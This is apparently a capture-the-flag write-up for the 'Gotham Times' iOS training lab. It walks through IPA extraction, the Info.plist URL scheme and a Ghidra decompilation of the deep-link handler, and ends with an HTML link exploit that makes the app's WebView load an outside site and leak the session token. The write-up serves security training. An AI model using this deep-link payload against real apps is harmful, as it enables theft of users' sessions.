Gotham Times Mobile Hacking Labs
Introduction
The Gotham Times lab provides an in-depth exploration of iOS webviews and their security implications. This comprehensive guide focuses on how vulnerabilities in webviews can be exploited through deep links, specifically demonstrating a session token theft scenario via an open redirect vulnerability.
In this article, we will walk through the complete process, from initial vulnerability discovery to successful exploitation. You will learn:
- How webviews function in iOS applications
- Understanding deep links and their implementation
- Identifying open redirect vulnerabilities
- Techniques for exploiting these security flaws
- Methods for extracting session tokens
- Best practices for preventing such attacks
This lab is perfect for developers, security analysts, and enthusiasts looking to deepen their understanding of mobile application security, particularly in the iOS environment.
Initial Application Analysis
Upon launching the application, we are presented with a login screen and an option to navigate to the registration screen. After creating an account and logging in, we are taken to the authenticated section of the app where we can view a list of news articles and profile information. Nothing seems unusual at first, so let’s dig deeper into the application.
Let’s break down the initial application flow and interface:
-
Authentication Flow:
- Initial login screen with credentials input
- Registration option for new users
- Secure authentication process
-
Main Application Features:
- News article listing functionality
- User profile management
- Authenticated user dashboard
Technical Analysis
First, with the .ipa file we can use the following script to extract the contents and get the class-dump information:
#!/bin/bash
# Check if an IPA file was provided
if [ -z "$1" ]; then
echo "Usage: $0 <path_to_ipa_file>"
exit 1
fi
IPA_FILE="$1"
# Check if the IPA file exists
if [ ! -f "$IPA_FILE" ]; then
echo "[@] Error: IPA file not found!"
exit 1
fi
# Get the app name from the IPA file
APP_NAME="$(basename "$IPA_FILE" .ipa)"
OUTPUT_DIR="$(dirname "$IPA_FILE" | xargs readlink -f)"
# Create output directory
OUTPUT_DIR="$OUTPUT_DIR/$APP_NAME"
mkdir -p "$OUTPUT_DIR"
# Unzip the IPA contents
UNZIP_DIR="$OUTPUT_DIR/_extracted"
echo "[*] Extracting IPA contents..."
mkdir -p "$UNZIP_DIR"
unzip -q "$IPA_FILE" -d "$UNZIP_DIR"
# Locate the .app directory
APP_PATH=$(find "$UNZIP_DIR" -name "*.app" -type d)
if [ -z "$APP_PATH" ]; then
echo "[@] No .app found in $UNZIP_DIR, exiting..."
exit 1
fi
BINARY="$APP_PATH/$(basename "$APP_PATH" .app)"
# Check if the binary exists
if [ ! -f "$BINARY" ]; then
echo "[@] No binary found in $APP_PATH, exiting..."
exit 1
fi
# Create directories for class dumps
CLASS_DUMP_OUTPUT="$OUTPUT_DIR/class_dump"
SWIFT_DUMP_OUTPUT="$OUTPUT_DIR/swift_dump"
mkdir -p "$CLASS_DUMP_OUTPUT"
mkdir -p "$SWIFT_DUMP_OUTPUT"
# Dump Objective-C classes using class-dump
echo "[*] Dumping Objective-C classes for $APP_NAME..."
ipsw class-dump "$BINARY" --headers -o "$CLASS_DUMP_OUTPUT"
# Dump Swift classes using swift-dump
echo "[*] Dumping Swift classes for $APP_NAME..."
ipsw swift-dump "$BINARY" > "$SWIFT_DUMP_OUTPUT/$APP_NAME-mangled.txt"
ipsw swift-dump "$BINARY" --demangle > "$SWIFT_DUMP_OUTPUT/$APP_NAME-demangled.txt"
echo "[+] Decompilation completed for $APP_NAME"
We can inspect the binary extracted contents and class-dump information:
This information show us some interesting things… but the mainly information is the name of the Gotham_Times classes/interfaces
We can use the ipsw
to verify the plist files:
ipsw plist Info.plist
{
"BuildMachineOSBuild": "23D60",
"CFBundleDevelopmentRegion": "en",
"CFBundleExecutable": "Gotham Times",
"CFBundleIcons": {
"CFBundlePrimaryIcon": {
"CFBundleIconFiles": [
"AppIcon60x60"
],
"CFBundleIconName": "AppIcon"
}
},
"CFBundleIcons~ipad": {
"CFBundlePrimaryIcon": {
"CFBundleIconFiles": [
"AppIcon60x60",
"AppIcon76x76"
],
"CFBundleIconName": "AppIcon"
}
},
"CFBundleIdentifier": "com.mobilehackinglab.Gotham-Times",
"CFBundleInfoDictionaryVersion": "6.0",
"CFBundleName": "Gotham Times",
"CFBundlePackageType": "APPL",
"CFBundleShortVersionString": "1.0",
"CFBundleSupportedPlatforms": [
"iPhoneOS"
],
"CFBundleURLTypes": [
{
"CFBundleTypeRole": "Viewer",
"CFBundleURLName": "com.mobilehackinglab.Gotham-Times",
"CFBundleURLSchemes": [
"gothamtimes"
]
}
],
"CFBundleVersion": "1",
"DTCompiler": "com.apple.compilers.llvm.clang.1_0",
"DTPlatformBuild": "21C52",
"DTPlatformName": "iphoneos",
"DTPlatformVersion": "17.2",
"DTSDKBuild": "21C52",
"DTSDKName": "iphoneos17.2",
"DTXcode": "1520",
"DTXcodeBuild": "15C500b",
"LSRequiresIPhoneOS": true,
"MinimumOSVersion": "15.4",
"NSAccentColorName": "AccentColor",
"UIApplicationSceneManifest": {
"UIApplicationSupportsMultipleScenes": false,
"UISceneConfigurations": {
"UIWindowSceneSessionRoleApplication": [
{
"UISceneConfigurationName": "Default Configuration",
"UISceneDelegateClassName": "Gotham_Times.SceneDelegate",
"UISceneStoryboardFile": "Main"
}
]
}
},
"UIApplicationSupportsIndirectInputEvents": true,
"UIDeviceFamily": [
1,
2
],
"UILaunchStoryboardName": "LaunchScreen",
"UIMainStoryboardFile": "Main",
"UIRequiredDeviceCapabilities": [
"arm64"
],
"UISupportedInterfaceOrientations~ipad": [
"UIInterfaceOrientationPortrait",
"UIInterfaceOrientationPortraitUpsideDown",
"UIInterfaceOrientationLandscapeLeft",
"UIInterfaceOrientationLandscapeRight"
],
"UISupportedInterfaceOrientations~iphone": [
"UIInterfaceOrientationPortrait",
"UIInterfaceOrientationLandscapeLeft",
"UIInterfaceOrientationLandscapeRight"
]
}
The only interesting thing.. for this chall is the following scheme:
"CFBundleURLTypes": [
{
"CFBundleTypeRole": "Viewer",
"CFBundleURLName": "com.mobilehackinglab.Gotham-Times",
"CFBundleURLSchemes": [
"gothamtimes"
]
}
],
gothamtimes
can be used as deeplink
with the following schema gothamtimes://data
.
Now we can open the Gothman Mach-O binary inside Ghidra and verify the decompiled binary:
The following function is responsible for open the the deeplink
with the parameter URL:
/* Gotham_Times.SceneDelegate.scene(_: __C.UIScene, openURLContexts:
Swift.Set<__C.UIOpenURLContext>) -> () */
void __thiscall
Gotham_Times::SceneDelegate::scene(SceneDelegate *this,int param_1,undefined *openURLContexts)
{
int iVar1;
String SVar2;
SceneDelegate *pSVar3;
StaticString SVar4;
code *pcVar5;
bool bVar6;
int iVar7;
undefined *puVar8;
Iterator IVar9;
URL UVar10;
int *piVar11;
URL UVar12;
UIStoryboard *pUVar13;
UIWindow *pUVar14;
NewsController *pNVar15;
Set SVar16;
char *pcVar17;
void *pvVar18;
void *in_x5;
int extraout_x8;
int extraout_x8_00;
int extraout_x8_01;
undefined auVar19 [16];
tuple2.conflict1 tVar20;
String SVar21;
String SVar22;
String SVar23;
String SVar24;
undefined auStack_3b0 [8];
undefined8 uStack_3a8;
undefined4 auStack_3a0 [4];
UIStoryboard *local_390;
UIStoryboard *local_388;
UIStoryboard *local_380;
UIStoryboard *local_378;
UIWindow **local_370;
UIWindow *local_368;
UIWindow **local_360;
UIWindow *local_358;
undefined4 local_34c;
void *local_348;
UIStoryboard *local_340;
NSString *local_338;
UIStoryboard *local_330;
UIStoryboard *local_328;
undefined8 local_320;
UINavigationController *local_318;
dword local_30c;
char *local_308;
void *local_300;
void *local_2f8;
undefined *local_2f0;
char *local_2e8;
void *local_2e0;
dword local_2d4;
char *local_2d0;
char *local_2c8;
void *local_2c0;
void *local_2b8;
undefined **local_2b0;
dword local_2a8;
dword local_2a4;
int *local_2a0;
undefined8 local_298;
undefined *local_290;
char *local_288;
char *local_280;
char *local_278;
char *local_270;
protocol_t *local_268;
undefined *local_260;
undefined *local_258;
code *local_250;
code *local_248;
char *local_240;
undefined *local_238;
int local_230;
void *local_228;
undefined *local_220;
undefined *local_218;
int local_210;
undefined8 local_208;
undefined *local_200;
int local_1f8;
int local_1f0;
int local_1e8;
int local_1e0;
SceneDelegate *local_1d8;
undefined *local_1d0;
uint *local_1c8;
StaticString local_1c0;
char *local_1b8;
char *local_1b0;
Set local_1a8;
undefined *local_1a0;
int local_198;
uint local_190;
undefined *local_188;
uint local_180;
undefined *local_178;
uint local_170;
int local_168;
uint local_160;
int local_158;
int local_150;
int local_148;
char *local_140;
void *local_138;
UIStoryboard *local_130;
UIWindow *local_128;
UIWindow *local_120;
UINavigationController *local_118;
UIStoryboard *local_110;
UIStoryboard *local_108;
undefined8 uStack_100;
int local_f8;
char *local_f0;
void *local_e8;
char *local_e0;
void *local_d8;
undefined *local_d0;
int local_c8;
char *local_c0;
void *local_b8;
undefined *local_b0;
undefined *local_a8;
uint auStack_a0 [5];
int local_78;
SceneDelegate *local_70;
undefined *local_68;
int local_60;
undefined auStack_58 [40];
undefined7 extraout_var;
local_1d0 = PTR_$$type_metadata_for_Any_100028708 + 8;
local_1c8 = (uint *)PTR__swift_isaMask_100028640;
local_1c0.unknown = "Fatal error";
local_1b8 = "Unexpectedly found nil while unwrapping an Optional value";
local_1b0 = "Gotham_Times/SceneDelegate.swift";
local_60 = 0;
local_68 = (undefined *)0x0;
local_70 = (SceneDelegate *)0x0;
local_78 = 0;
local_1d8 = this;
local_1a8.unknown = openURLContexts;
local_150 = param_1;
_memset(auStack_a0,0,0x28);
local_b0 = (undefined *)0x0;
local_e0 = (char *)0x0;
local_d8 = (void *)0x0;
local_108 = (UIStoryboard *)0x0;
local_110 = (UIStoryboard *)0x0;
local_118 = (UINavigationController *)0x0;
local_130 = (UIStoryboard *)0x0;
local_1a0 = (undefined *)Foundation::URL::typeMetadataAccessor();
local_198 = *(int *)(local_1a0 + -8);
local_190 = *(int *)(local_198 + 0x40) + 0xfU & 0xfffffffffffffff0;
iVar7 = local_150;
SVar16.unknown = local_1a8.unknown;
(*(code *)PTR____chkstk_darwin_1000281f0)();
puVar8 = (undefined *)((int)&local_390 - local_190);
local_180 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
local_188 = puVar8;
(*(code *)PTR____chkstk_darwin_1000281f0)();
puVar8 = puVar8 + -local_180;
local_170 = extraout_x8_00 + 0xfU & 0xfffffffffffffff0;
local_178 = puVar8;
(*(code *)PTR____chkstk_darwin_1000281f0)();
iVar1 = (int)puVar8 - local_170;
local_160 = extraout_x8_01 + 0xfU & 0xfffffffffffffff0;
local_168 = iVar1;
(*(code *)PTR____chkstk_darwin_1000281f0)();
iVar1 = iVar1 - local_160;
local_158 = iVar1;
local_70 = this;
local_68 = SVar16.unknown;
local_60 = iVar7;
_objc_retain();
puVar8 = &_OBJC_CLASS_$_UIWindowScene;
_objc_opt_self(&_OBJC_CLASS_$_UIWindowScene);
iVar7 = local_150;
_swift_dynamicCastObjCClass(local_150,puVar8);
local_1e0 = iVar7;
local_148 = iVar7;
if (iVar7 == 0) {
local_1e8 = 0;
_objc_release(local_150);
local_1e0 = local_1e8;
}
local_1f0 = local_1e0;
if (local_1e0 != 0) {
local_1f8 = local_1e0;
local_210 = local_1e0;
local_78 = local_1e0;
_swift_bridgeObjectRetain(local_1a8.unknown);
auVar19 = __C::UIOpenURLContext::typeMetadataAccessor();
local_208 = auVar19._0_8_;
__C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
local_200 = auStack_58;
Swift::Set::$makeIterator(local_1a8);
_memcpy(auStack_a0,local_200,0x28);
while( true ) {
IVar9.unknown =
(undefined *)
___swift_instantiateConcreteTypeFromMangledName
(&
$$demangling_cache_variable_for_type_metadata_for_Swift.Set<__C.UIOpenURLConte xt>.Iterator
);
Swift::Set::Iterator::$next(IVar9);
UVar12.unknown = local_178;
local_218 = local_a8;
if (local_a8 == (undefined *)0x0) break;
local_220 = local_a8;
local_260 = local_a8;
local_b0 = local_a8;
tVar20 = Swift::$_allocateUninitializedArray(1);
local_2a0 = (int *)tVar20.1;
local_298 = tVar20._0_8_;
local_268 = &objc::protocol_t::WKUIDelegate;
pcVar17 = "URL";
UVar10.unknown = local_260;
_objc_msgSend();
_objc_retainAutoreleasedReturnValue();
local_290 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
local_2a0[3] = (int)local_1a0;
piVar11 = ___swift_allocate_boxed_opaque_existential_0(local_2a0,(int *)pcVar17);
(**(code **)(local_198 + 0x20))(piVar11,local_158,local_1a0);
local_270 = (char *)Swift::$_finalizeUninitializedArray(local_298);
_objc_release(local_290);
SVar21 = Swift::$print();
local_278 = (char *)SVar21.bridgeObject;
local_288 = SVar21.str;
SVar21 = Swift::$print();
pcVar17 = (char *)SVar21.bridgeObject;
SVar22.bridgeObject = local_288;
SVar22.str = local_270;
SVar21.bridgeObject = SVar21.str;
SVar21.str = local_278;
local_280 = pcVar17;
Swift::$print(SVar22,SVar21);
_swift_bridgeObjectRelease(local_280);
_swift_bridgeObjectRelease(local_278);
_swift_bridgeObjectRelease(local_270);
UVar10.unknown = local_260;
_objc_msgSend(local_260,local_268[0x2e].instanceProperties);
_objc_retainAutoreleasedReturnValue();
local_258 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
local_250 = *(code **)(local_198 + 0x10);
iVar7 = local_168;
(*local_250)(UVar12.unknown,local_168,local_1a0);
Foundation::URL::$get_host(UVar12);
local_248 = *(code **)(local_198 + 8);
local_238 = UVar12.unknown;
local_230 = iVar7;
(*local_248)(local_178,local_1a0);
(*local_248)(local_168,local_1a0);
_swift_bridgeObjectRetain(local_230);
SVar21 = Swift::String::init("open",4,1);
local_228 = SVar21.bridgeObject;
local_240 = SVar21.str;
_swift_bridgeObjectRetain();
local_d0 = local_238;
local_c8 = local_230;
local_c0 = local_240;
local_b8 = local_228;
if (local_230 == 0) {
if (local_228 != (void *)0x0) goto LAB_1000195a4;
$$outlined_destroy_of_Swift.String?((int)&local_d0);
local_2a4 = 1;
}
else {
$$outlined_init_with_copy_of_Swift.String?(&local_d0,&local_140);
if (local_b8 == (void *)0x0) {
$$outlined_destroy_of_Swift.String((int)&local_140);
LAB_1000195a4:
$$outlined_destroy_of_(Swift.String?,Swift.String?)((int)&local_d0);
local_2a4 = 0;
}
else {
local_2d0 = local_140;
local_2b8 = local_138;
_swift_bridgeObjectRetain();
local_2c8 = local_c0;
local_2b0 = &local_d0;
local_2c0 = local_b8;
_swift_bridgeObjectRetain();
SVar2.bridgeObject = local_2c0;
SVar2.str = local_2c8;
SVar23.bridgeObject = local_2b8;
SVar23.str = local_2d0;
SVar24.bridgeObject = in_x5;
SVar24.str = pcVar17;
bVar6 = Swift::String::==_infix(SVar23,SVar2,SVar24);
local_2a8 = (dword)CONCAT71(extraout_var,bVar6);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
$$outlined_destroy_of_Swift.String?((int)local_2b0);
local_2a4 = local_2a8;
}
}
local_2d4 = local_2a4;
_swift_bridgeObjectRelease(local_228);
_swift_bridgeObjectRelease(local_230);
_objc_release(local_258);
UVar12.unknown = local_188;
if ((local_2d4 & 1) != 0) {
UVar10.unknown = local_260;
_objc_msgSend(local_260,"URL");
_objc_retainAutoreleasedReturnValue();
local_2f0 = UVar10.unknown;
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar10);
(*local_250)(UVar12.unknown,local_158,local_1a0);
SVar21 = Foundation::URL::get_absoluteString(UVar12);
pSVar3 = local_1d8;
local_2f8 = SVar21.bridgeObject;
local_308 = SVar21.str;
(*local_248)(local_188,local_1a0);
(*local_248)(local_158,local_1a0);
SVar21 = Swift::String::init("url",3,1);
local_300 = SVar21.bridgeObject;
pcVar17 = local_308;
pvVar18 = local_2f8;
(**(code **)((*(uint *)pSVar3 & *local_1c8) + 0x78))(local_308,local_2f8,SVar21.str);
local_2e8 = pcVar17;
local_2e0 = pvVar18;
_swift_bridgeObjectRelease(local_300);
_swift_bridgeObjectRelease(local_2f8);
_objc_release(local_2f0);
local_e0 = local_2e8;
local_d8 = local_2e0;
local_f0 = local_2e8;
local_e8 = local_2e0;
$$outlined_init_with_copy_of_Swift.String?(&local_f0,&uStack_100);
bVar6 = local_f8 != 0;
if (bVar6) {
$$outlined_destroy_of_Swift.String?((int)&uStack_100);
}
local_30c = (dword)bVar6;
if (local_30c != 0) {
local_320 = 0;
auVar19 = __C::UIStoryboard::typeMetadataAccessor();
local_34c = 1;
SVar21 = Swift::String::init("Main",4,1);
local_340 = __C::UIStoryboard::$__allocating_init
(auVar19._0_8_,SVar21.str,SVar21.bridgeObject,local_320);
local_108 = local_340;
SVar21 = Swift::String::init("TabbedControllerID",0x12,(byte)local_34c & 1);
local_348 = SVar21.bridgeObject;
local_338 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
_swift_bridgeObjectRelease(local_348);
pUVar13 = local_340;
_objc_msgSend(local_340,"instantiateViewControllerWithIdentifier:",local_338);
_objc_retainAutoreleasedReturnValue();
local_330 = pUVar13;
_objc_release(local_338);
puVar8 = &_OBJC_CLASS_$_UITabBarController;
_objc_opt_self(&_OBJC_CLASS_$_UITabBarController);
pUVar13 = local_330;
_swift_dynamicCastObjCClassUnconditional(local_330,puVar8,0,0);
local_328 = pUVar13;
local_110 = pUVar13;
_objc_msgSend();
auVar19 = __C::UINavigationController::typeMetadataAccessor();
_objc_retain(local_328,auVar19._8_8_);
local_318 = __C::UINavigationController::__allocating_init(auVar19._0_8_,local_328);
local_118 = local_318;
auVar19 = __C::UIWindow::typeMetadataAccessor();
_objc_retain(local_210,auVar19._8_8_);
pUVar14 = __C::UIWindow::__allocating_init(auVar19._0_8_,local_210);
(**(code **)((*(uint *)local_1d8 & *local_1c8) + 0x60))();
(**(code **)((*(uint *)local_1d8 & *local_1c8) + 0x58))();
local_120 = pUVar14;
if (pUVar14 == (UIWindow *)0x0) {
pUVar14 = (UIWindow *)$$outlined_destroy_of___C.UIWindow?(&local_120);
}
else {
local_360 = &local_120;
local_358 = pUVar14;
_objc_retain();
$$outlined_destroy_of___C.UIWindow?(local_360);
_objc_retain(local_318);
_objc_msgSend(local_358,"setRootViewController:",local_318);
_objc_release(local_318);
pUVar14 = local_358;
_objc_release();
}
(**(code **)((*(uint *)local_1d8 & *local_1c8) + 0x58))();
local_128 = pUVar14;
if (pUVar14 == (UIWindow *)0x0) {
$$outlined_destroy_of___C.UIWindow?(&local_128);
}
else {
local_370 = &local_128;
local_368 = pUVar14;
_objc_retain();
$$outlined_destroy_of___C.UIWindow?(local_370);
_objc_msgSend(local_368,"makeKeyAndVisible");
_objc_release(local_368);
}
pUVar13 = local_328;
_objc_msgSend(local_328,"selectedViewController");
_objc_retainAutoreleasedReturnValue();
pcVar17 = local_1b8;
SVar4.unknown = local_1c0.unknown;
local_378 = pUVar13;
if (pUVar13 == (UIStoryboard *)0x0) {
*(undefined *)(iVar1 + -0x20) = 2;
*(undefined8 *)(iVar1 + -0x18) = 0x2b;
*(undefined4 *)(iVar1 + -0x10) = 0;
Swift::_assertionFailure(SVar4,(StaticString)0xb,(StaticString)0x2,(uint)pcVar17,0x39);
/* WARNING: Does not return */
pcVar5 = (code *)SoftwareBreakpoint(1,0x1000199cc);
(*pcVar5)();
}
local_390 = pUVar13;
local_380 = pUVar13;
pNVar15 = NewsController::typeMetadataAccessor();
pUVar13 = local_390;
_swift_dynamicCastClassUnconditional(local_390,pNVar15,0,0);
local_388 = pUVar13;
local_130 = pUVar13;
_swift_bridgeObjectRetain(local_2e0);
(**(code **)((*(uint *)pUVar13 & *local_1c8) + 0x88))(local_2e8,local_2e0);
(**(code **)((*(uint *)local_388 & *local_1c8) + 0xa0))();
_objc_release(local_388);
_objc_release(local_318);
_objc_release(local_328);
_objc_release(local_340);
}
_swift_bridgeObjectRelease(local_2e0);
}
_objc_release(local_260);
}
$$outlined_destroy_of_Swift.Set<>.Iterator(auStack_a0);
_objc_release(local_210);
}
return;
}
Explaination:
The scene(_:openURLContexts:) method in the SceneDelegate handles deep links when the app is opened via a custom URL scheme like:
gotham://open?url=http://example.com
Main steps:
-
Iterates over UIOpenURLContext items passed by the system.
-
Extracts the URL from each context and checks if the host is “open”.
-
If matched, it:
-
Parses the url parameter from the query.
-
Loads a storyboard view controller (TabbedControllerID).
-
Wraps it inside a UINavigationController.
-
Creates and sets a new UIWindow.
-
-
If the selected tab view controller is of type NewsController, it passes the extracted URL to it.
You can create a qrcode too.. and set the malicious deep linking
Exploit
<html>
<h1> GotHam Exploit </h1>
<a href="gothamtimes://open?url=https://incogbyte.github.io"> Click me Daddy! </a>
</html>
As we can see, the app could be exploited with an open redirect vulnerability
that could leak the Session token. This vulnerability exists in the WebView implementation, where insufficient URL validation allows for malicious redirects.
Conclusion
This lab serves as a valuable lesson in understanding the security implications of loading URLs within a WebView in iOS applications. By exploiting vulnerabilities like this, it’s possible to load malicious sites and steal session tokens. For a hands-on experience with these concepts, visit the lab at MobileHackingLab - Gotham Times.